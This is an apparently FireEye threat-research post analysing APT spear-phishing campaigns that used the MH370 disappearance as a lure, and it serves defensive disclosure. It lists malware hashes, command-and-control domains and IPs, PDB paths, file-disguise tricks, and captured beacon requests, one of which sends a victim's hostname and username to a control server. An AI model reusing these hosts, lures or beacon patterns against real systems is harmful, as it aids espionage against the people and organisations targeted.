Spear Phishing the News Cycle: APT Actors Leverage Interest in the
Disappearance of Malaysian Flight MH 370While many advanced persistent threat (APT) groups have increasingly
embraced strategic Web compromise as a malware delivery vector, groups
also continue to rely on spear-phishing emails that leverage popular
news stories. The recent tragic disappearance of flight MH 370 is no
exception. This post will examine multiple instances from different
threat groups, all using spear-phishing messages and leveraging the
disappearance of Flight 370 as a lure to convince the target to open a
malicious attachment.
“Admin@338” Targets an APAC Government and U.S. Think Tank
The first spear phish from group “Admin@338” was sent to a foreign
government in the Asian Pacific region on March 10, 2014 – just two
days after the flight disappeared. The threat actors sent a
spear-phishing email with an attachment titled, “Malaysian Airlines
MH370.doc” (MD5: 9c43a26fe4538a373b7f5921055ddeae). Although threat
actors often include some sort of “decoy content” upon successful
exploitation (that is, a document representing what the recipient
expected to open), in this case, the user is simply shown a blank document.
The attachment dropped a Poison Ivy variant into the path
C:\DOCUME~1\admin\LOCALS~1\Temp\kav.exe (MD5:
9dbe491b7d614251e75fb19e8b1b0d0d), which, in turn, beaconed outbound
to www.verizon.proxydns[.]com. This Poison Ivy variant was configured
with the connection password “wwwst@Admin.” The APT group we refer to
as Admin@338 has previously used Poison Ivy implants with this same
password. We document the Admin@338 group’s activities in our href="/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf">Poison
Ivy: Assessing Damage and Extracting Intelligence paper.
Further, the domain www.verizon.proxydns[.]com previously resolved to
the following IP addresses that have also been used by the Admin@338 group:
IP Address | | scope="col">First Seen Last
Seen |
|---|
103.31.241.110 class="c09_td_value is-hidden-mml">103.31.241.110 | class="c09_td">
2013-08-27 class="c09_td_value is-hidden-mml">2013-08-27 class="c09_td">
2013-08-28 class="c09_td_value is-hidden-mml">2013-08-28
174.139.242.19 class="c09_td_value is-hidden-mml">174.139.242.19 | class="c09_td">
2013-08-28 class="c09_td_value is-hidden-mml">2013-08-28 class="c09_td">
2013-08-31 class="c09_td_value is-hidden-mml">2013-08-31
58.64.153.157 class="c09_td_value is-hidden-mml">58.64.153.157 | class="c09_td">
2013-09-03 class="c09_td_value is-hidden-mml">2013-09-03 class="c09_td">
2014-03-07 class="c09_td_value is-hidden-mml">2014-03-07
59.188.0.197 class="c09_td_value is-hidden-mml">59.188.0.197 | class="c09_td">
2014-03-07 class="c09_td_value is-hidden-mml">2014-03-07 class="c09_td">
2014-03-19 class="c09_td_value is-hidden-mml">2014-03-19
A second targeted attack attributed to the same Admin@338 group was
sent to a prominent U.S.-based think tank on March 14, 2014. This
spear phish contained an attachment that dropped “Malaysian Airlines
MH370 5m Video.exe” (MD5: b869dc959daac3458b6a81bc006e5b97). The
malware sample was crafted to appear as though it was a Flash video,
by binding a Flash icon to the malicious executable.
![]()
height="226"
class="size-full wp-image-4993 aligncenter landscape-sm"
alt="mh3701" src="https://www.fireeye.com/content/dam/legacy/blog/2014/03/mh3701.png" />
Interestingly, in this case, the malware sets its persistence in the
normal “Run” registry location, but it tries to auto start the payload
from the disk directory “c:\programdata”, which doesn’t exist until
Windows 7, so a simple reboot would mitigate this threat on Windows
XP. This suggests the threat actors did not perform quality control on
the malware or were simply careless. We detect this implant as
Backdoor.APT.WinHTTPHelper. The Admin@338 group discussed above
has used variants of this same malware family in href="/content/fireeye-www/en_US/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html">previous
targeted attacks.
This specific implant beacons out to dpmc.dynssl[.]com:443 and
www.dpmc.dynssl[.]com:80. The domain dpmc.dynssl[.]com resolved to the
following IPs:
IP Address | | scope="col">First Seen Last
Seen |
|---|
31.193.133.101 class="c09_td_value is-hidden-mml">31.193.133.101 | class="c09_td">
2013-11-01 class="c09_td_value is-hidden-mml">2013-11-01 class="c09_td">
2013-11-29 class="c09_td_value is-hidden-mml">2013-11-29
58.64.153.157 class="c09_td_value is-hidden-mml">58.64.153.157 | class="c09_td">
2014-01-10 class="c09_td_value is-hidden-mml">2014-01-10 class="c09_td">
2014-03-08 class="c09_td_value is-hidden-mml">2014-03-08
59.188.0.197 class="c09_td_value is-hidden-mml">59.188.0.197 | class="c09_td">
2014-03-14 class="c09_td_value is-hidden-mml">2014-03-14 class="c09_td">
2014-03-17 class="c09_td_value is-hidden-mml">2014-03-17
139.191.142.168 class="c09_td_value is-hidden-mml">139.191.142.168 | class="c09_td">
2014-03-17 class="c09_td_value is-hidden-mml">2014-03-17 class="c09_td">
2014-03-19 class="c09_td_value is-hidden-mml">2014-03-19
The www.dpmc.dynssl[.]com domain resolved to following IPs:
IP Address | | class="c09_td">First Seen | class="c09_td">Last Seen
|---|
31.193.133.101 class="c09_td_value is-hidden-mml">31.193.133.101 | class="c09_td">
2013-10-30 class="c09_td_value is-hidden-mml">2013-10-30 class="c09_td">
2013-11-29 class="c09_td_value is-hidden-mml">2013-11-29
58.64.153.157 class="c09_td_value is-hidden-mml">58.64.153.157 | class="c09_td">
2014-01-10 class="c09_td_value is-hidden-mml">2014-01-10 class="c09_td">
2014-03-08 class="c09_td_value is-hidden-mml">2014-03-08
59.188.0.197 class="c09_td_value is-hidden-mml">59.188.0.197 | class="c09_td">
2014-03-14 class="c09_td_value is-hidden-mml">2014-03-14 class="c09_td">
2014-03-18 class="c09_td_value is-hidden-mml">2014-03-18
139.191.142.168 class="c09_td_value is-hidden-mml">139.191.142.168 | class="c09_td">
2014-03-17 class="c09_td_value is-hidden-mml">2014-03-17 class="c09_td">
2014-03-19 class="c09_td_value is-hidden-mml">2014-03-19
Note that the www.verizon.proxydns[.]com domain used by the Poison
Ivy discussed above also resolved to both 58.64.153.157 and
59.188.0.197 during the same time frame as the
Backdoor.APT.WinHTTPHelper command and control (CnC) located at
dpmc.dynssl[.]com and www.dpmc.dynssl[.]com.
In addition to the above activity attributed to the Admin@338 group,
a number of other malicious documents abusing the missing Flight 370
story were also seen in the wild. Other threat groups likely sent
these other documents.
The Naikon Lures
On March 9, 2014, a malicious executable entitled the “Search for
MH370 continues as report says FBI agents on way to offer
assistance.pdf .exe“ (MD5: 52408bffd295b3e69e983be9bdcdd6aa) was seen
circulating in the wild. This sample beacons to the CnC
net.googlereader[.]pw:443. We have identified this sample, via
forensic analysis, as Backdoor.APT.Naikon.
It uses a standard technique of changing its icon to make it appear
to be a PDF, in order to lend to its credibility. This same icon,
embedded as a PE Resource, has been used in the following recent samples:
![]()
height="268"
class="size-full wp-image-4995 aligncenter landscape-sm"
alt="mh3702" src="https://www.fireeye.com/content/dam/legacy/blog/2014/03/mh3702.png" />
MD5 | | class="c09_td">Import hash | class="c09_td">CnC Server
|---|
fcc59add998760b76f009b1fdfacf840 class="c09_td_value is-hidden-mml">fcc59add998760b76f009b1fdfacf840 |
e30e07abf1633e10c2d1fbf34e9333d6 class="c09_td_value is-hidden-mml">e30e07abf1633e10c2d1fbf34e9333d6 |
ecoh.oicp[.]net class="c09_td_value is-hidden-mml">ecoh.oicp[.]net |
018f762da9b51d7557062548d2b91eeb class="c09_td_value is-hidden-mml">018f762da9b51d7557062548d2b91eeb |
e30e07abf1633e10c2d1fbf34e9333d6 class="c09_td_value is-hidden-mml">e30e07abf1633e10c2d1fbf34e9333d6 |
orayjue.eicp[.]net class="c09_td_value is-hidden-mml">orayjue.eicp[.]net |
fcc59add998760b76f009b1fdfacf840 class="c09_td_value is-hidden-mml">fcc59add998760b76f009b1fdfacf840 |
e30e07abf1633e10c2d1fbf34e9333d6 class="c09_td_value is-hidden-mml">e30e07abf1633e10c2d1fbf34e9333d6 |
ecoh.oicp[.]net:443 class="c09_td_value is-hidden-mml">ecoh.oicp[.]net:443 |
498aaf6df71211f9fcb8f182a71fc1f0 class="c09_td_value is-hidden-mml">498aaf6df71211f9fcb8f182a71fc1f0 |
a692dca39e952b61501a278ebafab97f class="c09_td_value is-hidden-mml">a692dca39e952b61501a278ebafab97f |
xl.findmy[.]pw class="c09_td_value is-hidden-mml">xl.findmy[.]pw |
a093440e75ff4fef256f5a9c1106069a class="c09_td_value is-hidden-mml">a093440e75ff4fef256f5a9c1106069a |
a692dca39e952b61501a278ebafab97f class="c09_td_value is-hidden-mml">a692dca39e952b61501a278ebafab97f |
xl.findmy[.]pw class="c09_td_value is-hidden-mml">xl.findmy[.]pw |
125dbbb742399ec2c39957920867ee60 class="c09_td_value is-hidden-mml">125dbbb742399ec2c39957920867ee60 |
a692dca39e952b61501a278ebafab97f class="c09_td_value is-hidden-mml">a692dca39e952b61501a278ebafab97f |
uu.yahoomail[.]pw class="c09_td_value is-hidden-mml">uu.yahoomail[.]pw |
52408bffd295b3e69e983be9bdcdd6aa class="c09_td_value is-hidden-mml">52408bffd295b3e69e983be9bdcdd6aa |
a692dca39e952b61501a278ebafab97f class="c09_td_value is-hidden-mml">a692dca39e952b61501a278ebafab97f |
net.googlereader[.]pw class="c09_td_value is-hidden-mml">net.googlereader[.]pw |
This malware leverages “pdfbind” to add a PDF into itself, as can be
seen in the debugging strings, and when launched, the malware also
presents a decoy document to the target:
![]()
height="546"
class="size-full wp-image-4996 aligncenter landscape-lg"
alt="mh3703" src="https://www.fireeye.com/content/dam/legacy/blog/2014/03/mh3703.png" />
The Plat1 Lures
On March 10, 2014, we observed another sample that exploited
CVE-2012-0158, titled “MH370班机可以人员身份信息.doc” (MD5:
4ff2156c74e0a36d16fa4aea29f38ff8), which roughly translates to “MH370
Flight Personnel Identity Information”. The malware that is dropped by
the malicious Word document, which we detect as Trojan.APT.Plat1,
begins to beacon to 59.188.253.216 via TCP over port 80. The decoy
document opened after exploitation is blank. The malicious document
dropped the following implants:
C:\Documents and Settings\Administrator\Application
Data\Intel\ResN32.dll (MD5:
2437f6c333cf61db53b596d192cafe64)C:\Documents and
Settings\Administrator\Application Data\Intel\~y.dll (MD5:
d8540b23e52892c6009fdd5812e9c597)
The implants dropped by this malicious document both included unique
PDB paths that can be used to find related samples. These paths were
as follows:
E:\Work\T5000\T5
Install\ResN\Release\ResN32.pdbF:\WORK\PROJECT\T5
Install\InstDll\Release\InstDll.pdb
This malware family was also described in more detail here.
The Mongall/Saker Lures
Another sample leveraging the missing airliner theme was seen on
March 12, 2014. The malicious document exploited CVE-2012-0158 and was
titled, “Missing Malaysia Airlines Flight 370.doc” (MD5:
467478fa0670fa8576b21d860c1523c6). Although the extension looked like
a Microsoft Office .DOC file, it was actually an .HTML Application
(HTA) file. Once the exploit is successful, the payload makes itself
persistent by adding a Windows shortcut (.LNK) file pointing to the
malware in the “Startup” folder in the start menu. It beacons outbound
to comer4s.minidns[.]net:8070. The network callback pattern, shown
below, is known by researchers as “Mongall” or “Saker”:
GET /3010FC080[REDACTED] HTTP/1.1User-Agent: Mozilla/4.0
(compatible; MSIE 6.0; Wis NT 5.0; .NET CLR 1.1.4322)
Host:
comer4s.minidns.net:8070
Cache-Control: no-cache
The sample also drops a decoy file called “aa.doc” into the temp
folder and displays the decoy content shown below:
![]()
height="546"
class="alignnone size-full wp-image-4997 landscape-lg"
alt="mh3704" src="https://www.fireeye.com/content/dam/legacy/blog/2014/03/mh3704.png" />
The “Tranchulas” Lures
On March 18, 2014 a sample entitled “Malysia Airline MH370 hijacked
by Pakistan.zip” was sent as a ZIP file (MD5:
7dff5c4ae1b1fea7ecbf7ab787da3468) that contained a Windows screensaver
file disguised as a PDF (MD5: b03edbb264aa0c980ab2974652688876). The
ZIP file was hosted on 199.91.173.43. This IP address was href="http://www.threatconnect.com/news/where-there-is-smoke-there-is-fire-south-asian-cyber-espionage-heats-up/">previously
used to host malicious files.
The screen saver file drops “winservice.exe” (MD5:
828d4a66487d25b413cb19ef8ee7c783) which begins beaconing to
199.91.173.45. This IP address was previously used to host a file
entitled “obl_leaked_report.zip” (MD5: a4c7c79308139a7ee70aacf68bba814f).
The initial beacon to the command-and-control server is as follows:
POST /path_active.php?compname=[HOSTNAME]_[USERNAME]
HTTP/1.1Host: 199.91.173.45
Accept: */*
Content-Length: 11
Content-Type:
application/x-www-form-urlencoded
This same control server was used in href="http://www.threatconnect.com/news/where-there-is-smoke-there-is-fire-south-asian-cyber-espionage-heats-up/">previous activity.
The Page Campaign
A final malicious document was seen abusing the missing Flight 370
story on March 18, 2014. This document exploited CVE-2012-0158 and was
entitled “MH370 PM statement 15.03.14 - FINAL.DOC” (MD5:
5e8d64185737f835318489fda46f31a6). This document dropped a
Backdoor.APT.Page implant and connected to 122.10.89.85 on both port
80 and 443. The initial beacon traffic over port 80 is as follows:
GET /18110143/page_32180701.html HTTP/1.1Accept: */*
Cookie: XX=0; BX=0
User-Agent: Mozilla/4.0 (compatible;
MSIE 8.0; Win32)
Host: 122.10.89.85
Connection:
Keep-Alive
Cache-Control: no-cache
Pragma: no-cache
Conclusion
While many APT actors have adopted strategic Web compromise as a
delivery vector, it is apparent that spear phishing via email-based
attachments or links to zip files remain popular with many threat
actors, especially when paired with lures discussing current media
events. Network defenders should incorporate these facts into their
user training programs and be on heightened alert for regular
spear-phishing campaigns, which leverage topics dominating the news cycle.
Acknowledgement: We thank Nart Villeneuve and Patrick Olsen for
their support, research, and analysis on these findings.
Source:
Spear Phishing the News Cycle: APT Actors Leverage Interest in the
Disappearance of Malaysian Flight MH 370
